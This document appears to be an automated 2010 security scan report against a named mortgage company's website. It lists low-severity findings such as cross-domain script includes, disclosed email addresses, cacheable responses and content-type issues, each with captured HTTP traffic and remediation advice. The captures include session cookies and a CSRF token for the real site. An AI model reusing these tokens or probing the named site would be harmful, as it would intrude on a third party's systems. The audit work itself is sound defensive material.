<HE ...[SNIP]... <!--GLOBALHeadScripts--> <SCRIPT TYPE="TEXT/JavaScript" LANGUAGE="JavaScript" SRC="https://images.mortgagequestions.com/img/brand2/../scripts/HolidayAndCarlScripts.js"></SCRIPT> ...[SNIP]... <!--shared at root--> <script language="javascript1.1" defer src="https://images.mortgagequestions.com/img/brand2/../scripts/hbx.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.2. Copyright 1997-2005 Omniture, Inc. More info available at http://www.omniture.com --> <script type="text/JavaScript" language="JavaScript" src="https://images.mortgagequestions.com/img/brand2/../scripts/s_code.js"></script> ...[SNIP]...
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:46 GMT Server: Apache Pragma: no-cache Content-Length: 55952 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
<HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.locat ...[SNIP]... <!--shared at root--> <script language="javascript1.1" defer src="https://images.mortgagequestions.com/img/brand2/../scripts/hbx.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.2. Copyright 1997-2005 Omniture, Inc. More info available at http://www.omniture.com --> <script type="text/JavaScript" language="JavaScript" src="https://images.mortgagequestions.com/img/brand2/../scripts/s_code.js"></script> ...[SNIP]...
8. Email addresses disclosedpreviousnext There are 4 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
phh@mortgagefamily.com
Request
GET /b2bhome/13571/landscape HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:38 GMT Server: Apache Pragma: no-cache Content-Length: 67132 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- LogIn tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
The following email address was disclosed in the response:
phh@mortgagefamily.com
Request
GET /info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/landscape?jpid=Home&cid=13571 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:23 GMT Server: Apache Pragma: no-cache Content-Length: 56323 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
The following email address was disclosed in the response:
phh@mortgagefamily.com
Request
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:46 GMT Server: Apache Pragma: no-cache Content-Length: 55952 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:
Cache-control: no-store
Pragma: no-cache
Request
GET / HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:43:51 GMT Server: Apache Last-Modified: Thu, 15 Oct 2009 16:20:55 GMT ETag: "680045-e3-a9ed87c0" Accept-Ranges: bytes Content-Length: 227 P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
GET /b2bhome/13571/landscape HTTP/1.1 Host: www.phhmortgage.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497; LSJPLCHKCookie=yes;
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:45:38 GMT Server: Apache Pragma: no-cache Content-Length: 67132 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- LogIn tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
GET /info/13571/landscape?jpid=Refi&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/landscape?jpid=Home&cid=13571 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: LSJPLCHKCookie=yes; JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:23 GMT Server: Apache Pragma: no-cache Content-Length: 56323 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- single_static_component tmpl --> <HTML> <SCRIPT LANGUAGE=JAVASCRIPT>if (top != self) top.location=self.location;</SCRIPT>
GET /sso/mq/login.jsp?TYPE=33554433&REALMOID=06-69d40195-9749-498e-841a-977f492bac26&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=phhmortgage-secure@lb1b2cwb10p&TARGET=-SM-HTTPS%3a%2f%2fwww%2ephhmortgage%2ecom%2fsso%2fmq2%2flogin%2ejsp%3fTYPE%3d33554433%26REALMOID%3d06--bdc806c4--8355--4c2f--b4e0--ac3ecc5c7494%26GUID%3d%26SMAUTHREASON%3d0%26METHOD%3dGET%26SMAGENTNAME%3dphhmortgage--secure%40lb1b2cwb10p%26TARGET%3d--SM--HTTPS-%3a-%2f-%2fwww-%2ephhmortgage-%2ecom-%2fhome-%2f13571-%2flandscape-%3fjpid-%3dSSLoanStart-%26PHH_CSRFTOKEN-%3dY3WS----GE7R----THEV----ONKF----SJLP----3KDX----H4T9----YE95 HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Referer: https://www.phhmortgage.com/info/13571/landscape?jpid=Purchase&PHH_CSRFTOKEN=Y3WS-GE7R-THEV-ONKF-SJLP-3KDX-H4T9-YE95 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 200 OK Date: Tue, 28 Dec 2010 19:44:46 GMT Server: Apache Pragma: no-cache Content-Length: 55952 Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache,no-store,must-revalidate P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html
<!--template ssloanstart-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <!-- ssloanstart tmpl -->
The response contains the following Content-type statement:
Content-Type: text/html; charset=iso-8859-1
The response states that it contains HTML. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /favicon.ico HTTP/1.1 Host: www.phhmortgage.com Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1; jplchk=Kkj2Nh9Ww6WBNTGBJpxZhGVV0y21whGyhxkjV2052PJKGrr2wDnv!1748797829!173823076!7001!-1!1293565366497
Response
HTTP/1.1 404 Not Found Date: Tue, 28 Dec 2010 19:43:52 GMT Server: Apache Content-Length: 10 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
No favicon
Report generated by XSS.CX at Tue Dec 28 20:35:18 CST 2010.